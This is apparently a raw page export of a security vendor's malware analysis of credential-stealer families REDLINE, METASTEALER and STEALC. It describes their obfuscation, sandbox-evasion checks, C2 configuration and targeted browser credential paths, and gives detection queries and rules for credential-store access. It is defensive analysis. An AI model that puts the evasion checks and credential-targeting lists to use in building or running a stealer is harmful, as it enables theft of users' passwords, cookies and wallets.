Moon\\\\\\\\Profiles\\\\\\\\.*\\\\\\\\(cookies.sqlite|logins.json|places.sqlite|key3.db|cert8.db)\"\n or file.path rlike \"C:\\\\\\\\Users\\\\\\\\.+\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Thunderbird\\\\\\\\Profiles\\\\\\\\.*\\\\\\\\(cookies.sqlite|logins.json|key4.db|cert9.db)\"\n )\n | keep process.executable, process.name, event.action, host.id, host.name, file.path, file.name\n | eval process_path = replace(process.executable, \"([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\\\.tmp|DX[A-Z0-9]{3,4}\\\\.tmp|7z[A-Z0-9]{3,5}\\\\.tmp|[0-9\\\\.\\\\-_]{3,})\", \"\")\n | eval process_path = replace(process_path, \"[cC]:\\\\\\\\[uU][sS][eE][rR][sS]\\\\\\\\[a-zA-Z0-9\\\\.\\\\-_\\\\$~ ]+\\\\\\\\\", \"C:\\\\\\\\users\\\\\\\\user\\\\\\\\\")\n | eval normalized_file_path = replace(file.path, \"[cC]:\\\\\\\\[uU][sS][eE][rR][sS]\\\\\\\\[a-zA-Z0-9\\\\.\\\\-_\\\\$~ ]+\\\\\\\\\", \"C:\\\\\\\\users\\\\\\\\user\\\\\\\\\")\n | stats number_hosts = count_distinct(host.id) by process.executable, process.name, event.action, normalized_file_path, file.name, host.name\n | where number_hosts == 1\n | sort number_hosts desc\n ```\n\n### Yara rules\n - [Windows Trojan MetaStealer](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar)\n - [Windows Trojan Stealc](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar)\n - [Windows Trojan RedLineStealer](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RedLineStealer.yar)\n - [Windows Trojan AgentTesla](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar)\n\n\n## Conclusion\nIn conclusion, it's crucial to recognize that these malware threats pose significant risks to both companies and individuals alike. Their affordability makes them accessible not only to sophisticated cybercriminals but also to small-time offenders and script kiddies. This accessibility underscores the democratisation of cybercrime, where even individuals with limited technical expertise can deploy malicious software.\n\nElastic's comprehensive suite of security features offers organisations and individuals the tools they need to defend against malware attacks effectively. From advanced threat detection to real-time monitoring and response capabilities.\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),b=(t,e)=\u003e{for(var n in e)r(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of u(e))!g.call(t,a)\u0026\u0026a!==n\u0026\u0026r(t,a,{get:()=\u003ee[a],enumerable:!(s=m(e,a))||s.enumerable});return t};var w=(t,e,n)=\u003e(n=t!=null?h(p(t)):{},o(e||!t||!t.__esModule?r(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003eo(r({},\"__esModule\",{value:!0}),t);var c=f((S,l)=\u003e{l.exports=_jsx_runtime});var T={};b(T,{default:()=\u003e_,frontmatter:()=\u003ev});var i=w(c()),v={title:\"Globally distributed stealers\",slug:\"globally-distributed-stealers\",date:\"2024-05-24\",description:\"This article describes our analysis of the top malware stealer families, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly.\",author:[{slug:\"salim-bitam\"},{slug:\"daniel-stepanic\"},{slug:\"terrance-dejesus\"},{slug:\"samir-bousseaden\"}],image:\"Security Labs Images 25.jpg\",category:[{slug:\"malware-analysis\"}]};function d(t){let e=Object.assign({h2:\"h2\",p:\"p\",img:\"img\",h3:\"h3\",a:\"a\",ul:\"ul\",li:\"li\",code:\"code\",strong:\"strong\",h4:\"h4\",pre:\"pre\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,i.jsx)(e.p,{children:\"This article describes our analysis of the top Windows malware stealer families that we\\u2019ve identified, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly. Additionally, we\\u2019ll examine our unique telemetry to offer insights about the current volume associated with these prevalent malware stealer families.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Mitigating this kind of covert threat requires a multi-faceted approach consistent with defense-in-depth principles. We will likewise describe various techniques for detection, including the use of ES|QL hunting queries and Yara rules which empower organizations to proactively defend against them.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"telemetry-overview\",children:\"Telemetry overview\"}),`\n`,(0,i.jsx)(e.p,{children:\"The telemetry data showcased in this article encompasses insights gathered from both internal and external sources, providing a comprehensive understanding of threat activity.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Notably, between 2022 and 2023, REDLINE emerged as the most prevalent malware in the wild, closely trailed by AGENT TESLA, VIDAR, and then STEALC. It's worth highlighting that this period marked the debut of STEALC in the wild, indicative of evolving threat landscapes.\"}),`\n`,(0,i.jsx)(e.p,{children:\"In the subsequent time frame, spanning from 2023 to 2024, there was a notable spike in AGENT TESLA activity, followed by REDLINE, STEALC, and VIDAR, reflecting shifting trends in malware prevalence and distribution.\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image6.png\",alt:\"Telemetry data May 2023 - May 2024\",width:\"1440\",height:\"1002\"}),`\nElastic telemetry data May 2023 - May 2024`]}),`\n`,(0,i.jsx)(e.p,{children:\"Despite fluctuations in general malware prevalence, AGENT TESLA has consistently maintained its position as a prominent threat. This enduring dominance can be attributed to several factors, including its relatively low price point and enticing capabilities, which appeal to a wide range of threat actors, particularly those operating with limited resources or expertise.\"}),`\n`,(0,i.jsx)(e.p,{children:\"A noteworthy observation is that due to METASTEALER\\u2019s foundation on REDLINE, certain METASTEALER samples may inadvertently fall under the categorization of REDLINE.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image5.png\",alt:\"METASTEALER triggering REDLINE signatures\",width:\"1440\",height:\"716\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"top-stealers-overview\",children:\"Top stealers overview\"}),`\n`,(0,i.jsx)(e.h3,{id:\"redline-redline-stealer\",children:\"REDLINE (REDLINE STEALER)\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer\",rel:\"nofollow\",children:\"REDLINE\"}),\" made its debut in the threat landscape in 2020, leveraging email as its initial distribution method; it operates on a Malware-as-a-Service (MaaS) model, making it accessible to a wide range of threat actors. Its affordability and availability in underground forums have contributed to its popularity among cybercriminals.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The latest operations of REDLINE involve multiple infection vectors, including email phishing, malicious websites hosting seemingly legitimate applications, and social engineering tactics. Our researchers analyzed a recent sample \",(0,i.jsx)(e.a,{href:\"https://x.com/vxunderground/status/1634713832974172167\",rel:\"nofollow\",children:\"reported by vx-underground\"}),\" indicating a campaign targeting engineers on the freelancing platform Fiverr. This tactic poses significant risks, potentially leading to the compromise of companies through unsuspecting freelancers.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"REDLINE is built on the .NET framework, which provides it with portability and ease of implementation. It has a variety of functionalities aimed at gathering vital system information and extracting sensitive data:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"System information acquisition:\"}),`\n`,(0,i.jsx)(e.li,{children:\"Collects essential system details such as UserName, Language, and Time Zone\"}),`\n`,(0,i.jsx)(e.li,{children:\"Retrieves hardware specifics including processor and graphic card information\"}),`\n`,(0,i.jsx)(e.li,{children:\"Monitors running processes and identifies installed browsers\"}),`\n`,(0,i.jsx)(e.li,{children:\"Data extraction:\"}),`\n`,(0,i.jsx)(e.li,{children:\"Targets browser data repositories, extracting saved passwords, credit card details, cookies, and auto-fill entries\"}),`\n`,(0,i.jsx)(e.li,{children:\"Procures VPN login credentials for unauthorized access\"}),`\n`,(0,i.jsx)(e.li,{children:\"Logs user credentials and chat histories from platforms like Discord and Telegram\"}),`\n`,(0,i.jsx)(e.li,{children:\"Identifies and steals cryptocurrency wallets, potentially compromising valuable digital assets:\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image13.png\",alt:\"REDLINE collecting system information\",width:\"745\",height:\"811\"})}),`\n`,(0,i.jsx)(e.p,{children:\"REDLINE uses a string obfuscation technique to hinder analysis and evade detection based on strings like yara by dynamically constructing the strings at runtime from an array of characters:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image4.png\",alt:\"REDLINE string obfuscation\",width:\"1168\",height:\"372\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Its configuration is structured within a static class, containing four public fields: \",(0,i.jsx)(e.code,{children:\"IP\"}),\", \",(0,i.jsx)(e.code,{children:\"ID\"}),\", \",(0,i.jsx)(e.code,{children:\"Message\"}),\", and an XOR Key. The \",(0,i.jsx)(e.code,{children:\"IP\"}),\" and \",(0,i.jsx)(e.code,{children:\"ID\"}),\" fields contents are encrypted using XOR encryption and then encoded in base64 as depicted below:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image3.png\",alt:\"REDLINE's configuration\",width:\"1188\",height:\"429\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"metastealer\",children:\"METASTEALER\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer\",rel:\"nofollow\",children:\"METASTEALER\"}),\" emerged in 2022, initially advertised as a derivative of REDLINE, with additional features; our malware analysts recently encountered a sample of METASTEALER within a campaign masquerading as Roblox, previously \",(0,i.jsx)(e.a,{href:\"https://x.com/CERT_OPL/status/1767191320790024484\",rel:\"nofollow\",children:\"reported by CERT as Orange Polska\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:\"METASTEALER is primarily developed using the .NET framework, facilitating its compatibility with Windows environments and enabling ease of implementation. Certain versions employ obfuscation methods, including obscuring the control flow of the malware and making it more challenging to detect or analyze.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"This METASTEALER sample utilizes the \",(0,i.jsx)(e.a,{href:\"https://www.secureteam.net/\",rel:\"nofollow\",children:\"AGILE.NET\"}),\" obfuscator, specifically its proxy call obfuscation method. This technique is used to conceal the direct invocation of an original function by introducing an additional layer of abstraction. Instead of directly invoking the function, AGILE.NET generates a proxy method that then invokes the original function. This added complexity makes it more challenging for code analysts to discern the sequence of actions.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image9.png\",alt:\"METASTEALER's obfuscation\",width:\"982\",height:\"233\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Looking at the code above, we can see the method \",(0,i.jsx)(e.code,{children:\"Delegate11.smethod_0\"}),\" calls a \",(0,i.jsx)(e.code,{children:\"Delegate11.delegate11_0\"}),\" which is not initialized, introducing ambiguity during static analysis as analysts cannot determine which method will actually be executed.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image14.png\",alt:\"METASTEALER initializing the delegate\",width:\"1134\",height:\"747\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"At runtime, the malware will initialize the delegate. by calling the method \",(0,i.jsx)(e.code,{children:\"Class4.smethod_13\"}),\" in the constructor of \",(0,i.jsx)(e.code,{children:\"Delegate11\"}),\" class, this method constructs a dictionary of token values, where each key represents the token value of a delegate (e.g., \",(0,i.jsx)(e.code,{children:\"0x040002DE\"}),\"), and its corresponding value represents the token of the original method to be executed. This dictionary is constructed from a sequence of bytes stored in the binary, enabling dynamic resolution of method invocations during runtime.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Following this, it will generate a dynamic method for the delegate and execute it using the \",(0,i.jsx)(e.code,{children:\"smethod_0\"}),\" function.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image8.png\",alt:\"METASTEALER generating delegates dynamic method\",width:\"1440\",height:\"752\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image7.png\",alt:\"METASTEALER checking for debuggers\",width:\"963\",height:\"220\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"All the important strings in the configuration, like the C2 IP address and port, are encrypted. The malware has a class called \",(0,i.jsx)(e.code,{children:\"Strings\"}),\" that is called at the start of execution to decrypt all the strings at once, a process involving a combination of Base64 encoding, XOR decryption, and AES CBC decryption.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Initially, the AES parameters, such as the \",(0,i.jsx)(e.code,{children:\"AES KEY\"}),\" and \",(0,i.jsx)(e.code,{children:\"AES IV\"}),\", undergo decryption. In the provided example, the \",(0,i.jsx)(e.code,{children:\"AES KEY\"}),\" and \",(0,i.jsx)(e.code,{children:\"AES IV\"}),\" are first base64 decoded. Subsequently, they are subjected to XOR decryption using a predetermined XOR key, followed by two consecutive base64 decoding steps.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image1.png\",alt:\"Encrypted AES parameters\",width:\"1440\",height:\"541\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The Strings class holds byte arrays that are decrypted using AES CBC after being reversed, and then appended to the \",(0,i.jsx)(e.strong,{children:\"Strings.Array\"}),\" list. Later, when the malware requires specific strings, it accesses them by indexing this list. For example \",(0,i.jsx)(e.strong,{children:\"String.get(6)\"}),\".\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"stealc\",children:\"STEALC\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"A recent major player in the stealer space \",(0,i.jsx)(e.a,{href:\"https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/\",rel:\"nofollow\",children:\"discovered\"}),\" by Sekoia in February 2023 is the \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc\",rel:\"nofollow\",children:\"STEALC\"}),\" family. This malware was first advertised in an underground forum in January 2023 where the developer mentioned a major dependency on existing families such as VIDAR, RACOON, and REDLINE. Since this timeframe, our team has observed new STEALC samples daily showing signs of popularity and adoption by cybercriminals.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"STEALC is implemented in C and includes features like dynamic imports, string obfuscation, and various anti-analysis checks prior to activating its data-stealing capabilities. In order to protect the binary and its core features, STEALC encrypts its strings using a combination of Base64 + RC4 using a hardcoded key embedded in each sample.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image10.png\",alt:\"Embedded RC4 key and encrypted strings within STEALC\",width:\"676\",height:\"183\"})}),`\n`,(0,i.jsx)(e.p,{children:\"There are 6 separate functions used for anti-analysis/anti-sandbox checks within STEALC. Based on the number of processors, STEALC will terminate itself if the active processor count is less than 2.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image2.png\",alt:\"Retrieve number of processors\",width:\"486\",height:\"94\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"STEALC performs a sandbox/emulation test using a more obscure Windows API (\",(0,i.jsx)(e.code,{children:\"VirtualAllocExNuma\"}),\") to allocate a large amount of memory. If the API is not implemented, the process will terminate.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image15.png\",alt:\"API check using VirtualAllocExNuma\",width:\"791\",height:\"97\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The malware performs another sandbox check by reading values from \",(0,i.jsx)(e.code,{children:\"GlobalMemoryStatusEx\"}),\". After a byte shift against the collected attributes of the physical memory, if the value is less than \",(0,i.jsx)(e.code,{children:\"0x457\"}),\" the sample will terminate.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The malware will stop execution if the language identifier matches one of the following LangIDs:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Russian_Russia (\",(0,i.jsx)(e.code,{children:\"0x419\"}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Ukrainian_Ukraine (\",(0,i.jsx)(e.code,{children:\"0x422\"}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Belarusian_Belarus (\",(0,i.jsx)(e.code,{children:\"0x423\"}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Kazakh_Kazakhstan (\",(0,i.jsx)(e.code,{children:\"0x43f\"}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Uzbek_Latin__Uzbekistan (\",(0,i.jsx)(e.code,{children:\"0x443\"}),\")\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"STEALC also incorporates the Microsoft Defender emulation check, we have observed this in many stealers such as seen in \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/elastic-security-labs-discovers-lobshot-malware\",rel:\"nofollow\",children:\"LOBSHOT\"}),\". STEALC will terminate if the following hard-coded values match inside Microsoft Defender\\u2019s emulation layer with the username \",(0,i.jsx)(e.code,{children:\"JohnDoe\"}),\" and computer name of \",(0,i.jsx)(e.code,{children:\"HAL9TH\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/globally-distributed-stealers/image12.png\",alt:\"Microsoft Defender emulation check using computer name and username\",width:\"624\",height:\"202\"})}),`\n`,(0,i.jsx)(e.p,{children:\"One of the more impactful anti-analysis checks that comes with STEALC is an expiration date. This unique value gets placed into the malware\\u2019s config to ensure that the stealer won\\u2019t execute after a specific date set by the builder. This allows the malware to keep a lower profile by using shorter turnarounds in campaigns and limiting the execution in sandbox environments.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"stealc---execution-flow\",children:\"STEALC - Execution flow\"}),`\n`,(0,i.jsx)(e.p,{children:\"After its initial execution, STEALC will send the initial hardware ID of the machine and receive a configuration from the C2 server:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`f960cc969e79d7b100652712b439978f789705156b5a554db3acca13cb298050efa268fb|done|tested.file|1|1|1|1|1|1|1|1|\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"After this request, it will send multiple requests to receive an updated list of targeted browsers and targeted browser extensions. Below is an example of the browser configuration, this contains the targeted directory path where the sensitive data is stored.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`Google Chrome|\\\\Google\\\\Chrome\\\\User Data|chrome|chrome.exe|Google Chrome Canary|\\\\Google\\\\Chrome SxS\\\\User Data|chrome|chrome.exe|Chromium|\\\\Chromium\\\\User Data|chrome|chrome.exe|Amigo|\\\\Amigo\\\\User Data|chrome|0|Torch|\\\\Torch\\\\User Data|chrome|0|Vivaldi|\\\\Vivaldi\\\\User Data|chrome|vivaldi.exe|Comodo Dragon|\\\\Comodo\\\\Dragon\\\\User Data|chrome|0|EpicPrivacyBrowser|\\\\Epic Privacy Browser\\\\User Data|chrome|0|CocCoc|\\\\CocCoc\\\\Browser\\\\User Data|chrome|0|Brave|\\\\BraveSoftware\\\\Brave-Browser\\\\User Data|chrome|brave.exe|Cent Browser|\\\\CentBrowser\\\\User Data|chrome|0|7Star|\\\\7Star\\\\7Star\\\\User Data|chrome|0|Chedot Browser|\\\\Chedot\\\\User Data|chrome|0|Microsoft Edge|\\\\Microsoft\\\\Edge\\\\User Data|chrome|msedge.exe|360 Browser|\\\\360Browser\\\\Browser\\\\User Data|chrome|0|QQBrowser|\\\\Tencent\\\\QQBrowser\\\\User Data|chrome|0|CryptoTab|\\\\CryptoTab Browser\\\\User Data|chrome|browser.exe|Opera Stable|\\\\Opera Software|opera|opera.exe|Opera GX Stable|\\\\Opera Software|opera|opera.exe|Mozilla Firefox|\\\\Mozilla\\\\Firefox\\\\Profiles|firefox|0|Pale Moon|\\\\Moonchild Productions\\\\Pale Moon\\\\Profiles|firefox|0|Opera Crypto Stable|\\\\Opera Software|opera|opera.exe|Thunderbird|\\\\Thunderbird\\\\Profiles|firefox|0|\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"At this point, STEALC will then collect a broad range of victim information. This information is then formatted, Base64 encoded, and then sent to the C2 server over POST requests using form data fields.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Hardware ID\"}),`\n`,(0,i.jsx)(e.li,{children:\"Windows OS product info\"}),`\n`,(0,i.jsx)(e.li,{children:\"Processor / RAM information\"}),`\n`,(0,i.jsx)(e.li,{children:\"Username / computername\"}),`\n`,(0,i.jsx)(e.li,{children:\"Local system time / time zone / locale of victim\"}),`\n`,(0,i.jsx)(e.li,{children:\"Keyboard layout\"}),`\n`,(0,i.jsx)(e.li,{children:\"Battery check (used to determine if laptop or not)\"}),`\n`,(0,i.jsx)(e.li,{children:\"Desktop resolution, display info\"}),`\n`,(0,i.jsx)(e.li,{children:\"Installed programs, running processes\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"For the stealing component, STEALC leverages the received configurations in order to collect various valuable information including:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Browser cookies\"}),`\n`,(0,i.jsx)(e.li,{children:\"Login data\"}),`\n`,(0,i.jsx)(e.li,{children:\"Web data\"}),`\n`,(0,i.jsx)(e.li,{children:\"History\"}),`\n`,(0,i.jsx)(e.li,{children:\"Cryptocurrency wallets\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"STEALC also offers other various configuration options including:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Telegram data\"}),`\n`,(0,i.jsx)(e.li,{children:\"Discord\"}),`\n`,(0,i.jsx)(e.li,{children:\"Tox\"}),`\n`,(0,i.jsx)(e.li,{children:\"Pidgin\"}),`\n`,(0,i.jsx)(e.li,{children:\"Steam\"}),`\n`,(0,i.jsx)(e.li,{children:\"Outlook emails\"}),`\n`]}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{}),(0,i.jsx)(e.th,{children:\"RedLine Stealer\"}),(0,i.jsx)(e.th,{children:\"Meta Stealer\"}),(0,i.jsx)(e.th,{children:\"Stealc\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"First time seen in the wild\"}),(0,i.jsx)(e.td,{children:\"2020\"}),(0,i.jsx)(e.td,{children:\"2022\"}),(0,i.jsx)(e.td,{children:\"2023\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Source Language\"}),(0,i.jsx)(e.td,{children:\"C#\"}),(0,i.jsx)(e.td,{children:\"C#\"}),(0,i.jsx)(e.td,{children:\"C\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Average size (unpacked)\"}),(0,i.jsx)(e.td,{children:\"253 KB\"}),(0,i.jsx)(e.td,{children:\"278 KB\"}),(0,i.jsx)(e.td,{children:\"107 KB\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"String obfuscation? Algo?\"}),(0,i.jsx)(e.td,{children:\"Yes\"}),(0,i.jsx)(e.td,{children:\"Yes\"}),(0,i.jsx)(e.td,{children:\"Yes (custom RC4 + base64)\"})]})]})]})}),`\n`,(0,i.jsx)(e.h2,{id:\"detection\",children:\"Detection\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"To fully leverage detection capabilities listed below for these threats with Elastic Security, it is essential to integrate \",(0,i.jsx)(e.a,{href:\"https://docs.elastic.co/en/integrations/endpoint\",rel:\"nofollow\",children:\"Elastic Defend\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://docs.elastic.co/en/integrations/windows\",rel:\"nofollow\",children:\"Windows\"}),\".\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_an_unsigned_binary.toml\",rel:\"nofollow\",children:\"Connection to WebService by an Unsigned Binary\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml\",rel:\"nofollow\",children:\"Connection to WebService by a Signed Binary Proxy\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_suspicious_dns_query_from_mounted_virtual_disk.toml\",rel:\"nofollow\",children:\"Suspicious DNS Query from Mounted Virtual Disk\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_suspicious_access_to_web_browser_credential_stores.toml\",rel:\"nofollow\",children:\"Suspicious Access to Web Browser Credential Stores\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unsigned_process.toml\",rel:\"nofollow\",children:\"Web Browser Credential Access via Unsigned Process\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_access_to_browser_credentials_from_suspicious_memory.toml\",rel:\"nofollow\",children:\"Access to Browser Credentials from Suspicious Memory\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_failed_access_attempt_to_web_browser_files.toml\",rel:\"nofollow\",children:\"Failed Access Attempt to Web Browser Files\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unusual_process.toml\",rel:\"nofollow\",children:\"Web Browser Credential Access via Unusual Process\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"esql-queries\",children:\"ES|QL queries\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following list of hunts and detection queries can be used to detect stealers activities:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[`\n`,(0,i.jsx)(e.p,{children:\"Identifies untrusted or unsigned executables making DNS requests to Telegram or Discord domains, which may indicate command-and-control communication attempts.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-sql\",children:`from logs-endpoint*\n| where (process.code_signature.trusted == false or process.code_signature.exists == false)\n| where dns.question.name in (\"api.telegram.com\", \"cdn.discordapp.com\",\n \"discordapp.com\", \"discord.com\",\"discord.gg\",\"cdn.discordapp.com\")\n| stats executable_count = count(*) by process.executable, process.name, dns.question.name\n| sort executable_count desc\n`})}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[`\n`,(0,i.jsx)(e.p,{children:\"Detects suspicious activies targeting crypto wallets files and configurations stored on Windows systems.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-sql\",children:`from logs-endpoint.events.file-*\n| where @timestamp \u003e now() - 14 days\n| where host.os.type == \"windows\"\nand event.category == \"file\"\nand event.action == \"open\" \nand (\n file.path rlike \"\"\"C:\\\\\\\\Users\\\\\\\\.+\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\.+\\\\\\\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\\\\\\\.*\"\"\"\n or file.path rlike \"\"\"C:\\\\\\\\ProgramData\\\\\\\\.+\\\\\\\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\\\\\\\.*\"\"\"\n)\n| keep process.executable, process.name, host.id, file.path, file.name\n| stats number_hosts = count_distinct(host.id), unique_files = count_distinct(file.name) by process.executable\n| where number_hosts == 1 and unique_files \u003e= 3\n| sort number_hosts desc\n`})}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[`\n`,(0,i.jsx)(e.p,{children:\"Monitors access to sensitive browser data, such as cookies, login data, and browsing history, which may indicate information-stealing malware 